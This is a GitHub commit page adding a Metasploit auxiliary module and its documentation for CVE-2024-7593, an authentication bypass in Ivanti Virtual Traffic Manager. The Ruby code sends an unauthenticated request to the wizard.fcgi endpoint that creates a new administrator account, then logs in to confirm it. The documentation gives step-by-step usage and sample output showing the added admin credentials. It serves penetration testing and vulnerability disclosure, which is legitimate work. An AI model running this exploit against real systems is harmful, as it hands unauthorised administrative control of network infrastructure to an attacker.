Skip to content

Commit 4af2294

Browse files
committed
Land rapid7#19386, Ivanti Virtual Traffic Manager (vTM) Authentication Bypass (CVE-2024-7593) Module
Merge branch 'land-19386' into upstream-master
2 parents 49d3826 + 82f51bb commit 4af2294

File tree

2 files changed

+189
-0
lines changed

2 files changed

+189
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
## Vulnerable Application
2+
3+
This module exploits an access control issue in Ivanti Virtual Traffic Manager (vTM), by adding a new
4+
administrative user to the web interface of the application.
5+
6+
Affected versions include:
7+
* 22.7R1
8+
* 22.6R1
9+
* 22.5R1
10+
* 22.3R2
11+
* 22.3
12+
* 22.2
13+
14+
The vendor published an advisory [here]
15+
(https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593?language=en_US).
16+
17+
A proof-of-concept is available [here](https://packetstormsecurity.com/files/179906).
18+
19+
## Testing
20+
21+
Docker images with the software are available from [here](https://hubgw.docker.com/r/pulsesecure/vtm).
22+
23+
**Successfully tested on**
24+
25+
- 22.7R1 on Ubuntu 20.04.6 LTS
26+
- 22.6R1 on Ubuntu 20.04.6 LTS
27+
- 22.5R1 on Ubuntu 20.04.6 LTS
28+
- 22.3R1 on Ubuntu 20.04.5 LTS
29+
- 22.2 on Ubuntu 20.04.4 LTS
30+
31+
## Verification Steps
32+
33+
1. Deploy Ivanti Virtual Traffic Manager (vTM)
34+
2. Start `msfconsole`
35+
3. `use auxiliary/admin/http/ivanti_vtm_admin`
36+
4. `set RHOSTS <IP>`
37+
5. `run`
38+
6. A new admin user should have been added to the web interface.
39+
40+
## Options
41+
42+
### NEW_USERNAME
43+
Username to be used when creating a new user with admin privileges.
44+
45+
### NEW_PASSWORD
46+
Password to be used when creating a new user with admin privileges.
47+
48+
## Scenarios
49+
50+
Running the module against Virtual Traffic Manager (vTM) 22.7R1 should result in an output
51+
similar to the following:
52+
53+
```
54+
msf6 > use auxiliary/admin/http/ivanti_vtm_admin
55+
msf6 auxiliary(admin/http/ivanti_vtm_admin) > set RHOSTS 172.17.0.2
56+
msf6 auxiliary(admin/http/ivanti_vtm_admin) > exploit
57+
[*] Running module against 172.17.0.2
58+
59+
[*] Running automatic check ("set AutoCheck false" to disable)
60+
[+] The target appears to be vulnerable. Version: 22.7R1
61+
[+] New admin user was successfully added:
62+
h4x0r:w00Tw00T!
63+
[+] Login at: https://172.17.0.2:9090/apps/zxtm/login.cgi
64+
[*] Auxiliary module execution completed
65+
```
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
class MetasploitModule < Msf::Auxiliary
2+
include Msf::Exploit::Remote::HttpClient
3+
prepend Msf::Exploit::Remote::AutoCheck
4+
5+
def initialize(info = {})
6+
super(
7+
update_info(
8+
info,
9+
'Name' => 'Ivanti Virtual Traffic Manager Authentication Bypass (CVE-2024-7593)',
10+
'Description' => %q{
11+
This module exploits an access control issue in Ivanti Virtual Traffic Manager (vTM), by adding a new
12+
administrative user to the web interface of the application.
13+
14+
Affected versions include 22.7R1, 22.6R1, 22.5R1, 22.3R2, 22.3, 22.2.
15+
},
16+
'Author' => [
17+
'Michael Heinzl', # MSF Module
18+
'ohnoisploited', # PoC
19+
'mxalias' # Credited in the vendor advisory for the discovery, https://hackerone.com/mxalias?type=user
20+
],
21+
'References' => [
22+
['PACKETSTORM', '179906'],
23+
['CVE', '2024-7593'],
24+
['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593?language=en_US']
25+
],
26+
'DisclosureDate' => '2024-08-05',
27+
'DefaultOptions' => {
28+
'RPORT' => 9090,
29+
'SSL' => 'True'
30+
},
31+
'License' => MSF_LICENSE,
32+
'Notes' => {
33+
'Stability' => [CRASH_SAFE],
34+
'Reliability' => [REPEATABLE_SESSION],
35+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
36+
}
37+
)
38+
)
39+
40+
register_options([
41+
OptString.new('TARGETURI', [true, 'Base path', '/']),
42+
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username.gsub(/[^a-zA-Z0-9_-]/, '_')]),
43+
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),
44+
])
45+
end
46+
47+
def check
48+
res = send_request_cgi(
49+
{
50+
'method' => 'GET',
51+
'uri' => normalize_uri(target_uri, 'apps', 'zxtm', 'login.cgi')
52+
}
53+
)
54+
55+
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
56+
57+
body = res.body
58+
version_regex = /StingrayVersion\.Set\(\s*'([^']+)'\s*,/
59+
match = body.match(version_regex)
60+
if match
61+
version = match[1]
62+
return Exploit::CheckCode::Appears("Version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('22.7R1')
63+
else
64+
return Exploit::CheckCode::Safe
65+
end
66+
67+
Exploit::CheckCode::Safe
68+
end
69+
70+
def run
71+
res = send_request_cgi(
72+
'method' => 'POST',
73+
'uri' => normalize_uri(target_uri.path, 'apps/zxtm/wizard.fcgi?error=1&section=Access+Management%3ALocalUsers'),
74+
'vars_post' => {
75+
'_form_submitted' => 'form',
76+
'create_user' => 'Create',
77+
'group' => 'admin',
78+
'newusername' => datastore['NEW_USERNAME'],
79+
'password1' => datastore['NEW_PASSWORD'],
80+
'password2' => datastore['NEW_PASSWORD']
81+
}
82+
)
83+
84+
unless res
85+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
86+
end
87+
88+
html = res.get_html_document
89+
title_tag = html.at_css('title')
90+
91+
fail_with(Failure::UnexpectedReply, 'title tag not found.') unless title_tag
92+
title_text = title_tag.text.strip
93+
if title_text == '2'
94+
print_status('Request to add new admin user sent, verifying...')
95+
96+
form = Rex::MIME::Message.new
97+
form.add_part('form', nil, nil, 'form-data; name="_form_submitted"')
98+
form.add_part(datastore['NEW_USERNAME'], nil, nil, 'form-data; name="form_username"')
99+
form.add_part(datastore['NEW_PASSWORD'], nil, nil, 'form-data; name="form_password"')
100+
form.add_part('Login', nil, nil, 'form-data; name="form_submit"')
101+
102+
res = send_request_cgi(
103+
{
104+
'method' => 'POST',
105+
'uri' => normalize_uri(target_uri.path, 'apps', 'zxtm', 'login.cgi'),
106+
'ctype' => "multipart/form-data; boundary=#{form.bound}",
107+
'data' => form.to_s
108+
}
109+
)
110+
if res && res.code == 302 && res.get_cookies.include?('ZeusTMZAUTH_')
111+
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
112+
print_good("New admin user was successfully added:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
113+
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'apps/zxtm/login.cgi'))}")
114+
end
115+
116+
elsif title_text == '0' && html.to_s.include?('ERROR: Specified user already exists')
117+
fail_with(Failure::BadConfig, "Specified user already exists. Specify a different user name with 'set NEW_USERNAME <USER>'.")
118+
elsif title_text == '0' && html.to_s.include?('ERROR: Username must contain only: letters, numbers,')
119+
fail_with(Failure::BadConfig, "Specified username is invalid. Username must contain only letters, numbers, underscores (_), and hyphens (-). Specify a different user name with 'set NEW_USERNAME <USER>'.")
120+
else
121+
fail_with(Failure::NotVulnerable, 'Unexpected string found inside the title tag: ' + title_text)
122+
end
123+
end
124+
end

0 commit comments

Comments
 (0)